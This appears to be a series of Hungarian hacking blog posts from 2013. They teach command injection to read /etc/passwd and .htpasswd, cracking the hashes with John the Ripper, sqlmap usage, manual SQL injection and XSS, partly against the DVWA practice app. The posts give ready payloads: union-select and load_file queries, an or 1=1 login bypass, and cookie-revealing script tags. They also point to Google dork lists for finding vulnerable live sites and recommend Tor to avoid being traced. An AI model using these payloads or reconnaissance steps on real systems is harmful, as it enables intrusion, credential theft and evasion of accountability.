Tudtommal a hackerek nem fájl listákra vadásznak, hanem a jelszavakra. Ha gyenge az oldal akkor, meg lehet nézni a jelszó fájlok tartalmát is! :)
google.hu && cat /etc/ passwd és ha minden jó kiadja a jelszófájl tartalmát: 
Mondjuk lehet úgy is, hogy megpróbáljuk megkeresni a .htpasswd-t ami tárolja az összes felhasználót az oldalon ehhez kell kis türelem meg minden. :)
Próbáljuk meg először így google.hu && cat /cgi-bin/.htpasswd mindig máskép kell próbálkozni mert nem mindenhol van egy helyen..
Ezután más dolgunk sincs csak visszafejteni őket.. :)
Ezt is megmutatom hogy hogy kell ezt a htpasswd-t visszafejteni. :)
Szükség van egy jelszótörőre. A john the ripper pont jó. Meg egy wordlist is kelleni fog. 
./john --wordlist=elérési út/word.txt találatok.txt
És ha jó wordlistet használtunk akkor valószínűleg megtalálta a jelszavakat....
Ennyi lenne remélem érthető volt kösz, hogy elolvastad! :)

2013. augusztus 9., péntek

Sqlmap


Nézzétek meg a videót! (Itt vannak a lépese)
Ma a sqlmap-ről lesz szó. A DVWA-t (Damn Vulnerable Web Application) fogom megtámadni. (Majd később erre is kitérek egy videóban hogy hogy tudjátok ezt feltelepíteni) Szval vágjunk is bele:
Mivel én Kali linuxot használok ezért a sqlmap elérési útvonala itt van:

/usr/share/sqlmap/

backtrack-en:

/pentest/database/sqlmap/

Így tudod futtatni: python sqlmap.py

Lássuk hogy hogy is kell ezt használni:

sqlmap -h

sqlmap
-u 'url' <-ezzel adjuk meg a támadni kívánt URL címet

-g [google_dork] <- ez egy nagyon jó kis opció, a google-t használjuk hogy sebezhetőségeket találjunk.. pl. inurl:news.php?id=1 ezt megadjuk paraméternek és a sqlmap megkeresi nekünk a sebezhető oldalakat... Itt egy nagy lista google dorkokból:
http://pastebin.com/WkysZt7J
Itt egy mégnagyobb:
http://pastebin.com/Tdvi8vgK
(Mindenki csak saját felelősségére használja, a más oldalakban való kártevés bűncselekménynek minősül!)
Ezt most nem fogjuk használni!

--cookie='cookie; security=low/medium/high;' <-ezzel tudunk megadni egy HTTP Cookie fejlécet

-a, --all <-mindent kiszed az adatbázisból

--current-user <-visszadja az adatbázis jelenlegi felhasználóit

--current-db <-visszaadja a jelenlegi adatbázis

--dump <-Ezzel tudjuk kidumpolni az adatokat a megadott adatbázisokból

--tor <- Tor-t használunk a lekérdezések közben (egy kicsit lassabb lesz viszont megéri mert nem fognak ránk találni utána)

Most feltöri a sqlmap alapértelmezett jelszólistájával a hash-eket... Meg tudunk adni mi is jelszólistát...

Láthatjuk hogy meg is találta az összes jelszót!

Ennyi lenne... 

2013. augusztus 8., csütörtök

SQL Injection

Mi is az Sql injection?
Az Sql injection egy olyan támadás,amivel sérülékeny sql szerverekből lehet kibányászni hasznos információkat pl.: felhasználóneveket, jelszavakat, jelszó hasheket stb...
De mielőtt elkezdenénk tisztázzunk valamit. Ez a támadás nem minden oldalnál működik mert nem minden SQL szerver sérülékeny csak az a sérülékeny ahol lusta volt az admin.  
A cikkben én a DVWA-t fogom támadni. (A DVWA letölhető innen.) Kezdjük is el. A Sql Injection mezőnél,van egy kis sor ahova be kell írni egy id-t most nem fogunk szabályoskodni hanem lopjunk id-t egyből. :D
Írd be, hogy  or 1=1 # és láss csodát ha hibás az sql szerver akkor vissza fog adni pár jó dolgot de ezzel simán be lehet lépni 1 sql szerverbe or 1=1 belépésnek és jelszónak beírod és akkor ha hibás be fog engedni.
Most azt írtam be,hogy or 1=1 # és sok mindent adott :D
Ezután próbáljunk meg még 1 dolgot ha tudod,hogy sebezhető írd be ezt 4' order by 1 # és akkor vissza fogja adni a negyedik user-t az admin által mert by 1 # és az admin az első mindig :D
Most ha meg akarod tudni pontosan milyen típusú az Sql szerver és adatbázis és nincs kedved elővenni az nmapot akkor irb be ezt: ' and 1=1 union select database(),version() #
Most meg kellene tudni milyen táblák vannak az adott szerveren ehhez írd be ezt:' and 1=1 union select null,table_schema from information_schema.tables #
Most meg is vannak a táblák de elég ez nekünk? NEM ! :D
Nézzük meg milyen user használja azt a táblát. Ehhez ezt kell beírni ' and 1=1 union select table_name,table_schema from information_schema.tables where table_schema='kiválasztott tábla' #
Ezután meg lehet nézni azt, hogy milyen felhasználók vannak a kiválaszott adatbázisban. Nézzük is meg. Írd be, hogy ' and 1=1 union select first_name,password from adabázis.users #
Még lehet fájlokat beolvasni mondjuk el lehet lopni vele a rendszer felhasználók hasheit és azt visszafejteni és akkor már be lehet jelentkezni s sok mindent csinálni. Írd be ezt és ha nincs megtagadva a hozzáférés akkor tied a jelszófájl tartalma. :)
' union SELECT 1, load_file('/etc/passwd') # ha ez megvan és kiadta vissza lehet őket fejteni most ha még nem volt elég akkor lopjunk pár usert az adatbázisból :)
' union SELECT table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'adatbázis' #
De ezt kézzel szerintem nem kényelmes csinálni vannak különböző eszközök amik meg tudják tenni ezt helyettünk.... :)

2013. augusztus 6., kedd

A Cross Site Scripting támadás alapjai

Szóval a Cross Site Scripting elég gyakori támadás és egyre gyakrabban fordul elő mint az Sql Injection. A Cross Site Scriptinget, XSS-nek is nevezik és elég sok az oldal amin lehet gyakorolni. De van DVWA(Damn vulnerable web application) nevű program amin ilyeneket (is )lehet gyakorolni
Akkor lehet is kezdeni. Telepítsd fel a DVWA-t vagy találj valami oldalt de fontos,hogy ne tegyél kárt semmiben én most olyan oldalon csinálom ahol nem marad ott amit csinálok 1 frissítés és eltűnik.Mivel is kell ezt kezdeni? Azzal kell kezdeni, hogy teszteljük hogy van-e xss sebezhetőség az oldalon. Írd be valahova például keresőbe vagy commentbox-ba <script>alert("XSS");</script> és ha azt kapod vissza amit a képen látsz akkor lehet próbálkozni tovább.. :)
Ha sebezhető az oldal akkor nagyon sok mindent lehet csinálni. Pl.:Be lehet tenni egy kiválasztott képet az oldalra. Ezt így lehet megoldani: <img src=kép url>
A felhasználók cookie-ját is el lehet így lopni... :)
<script>alert(document.cookie)</script>

És mint láthatjuk meg is jelent.
Lehet még sok mindent csinálni, de most csak az alapokat írtam le...Nem véletlenül lett a cikk címe: "A Cross Site Scripting támadás ALAPJAI" :D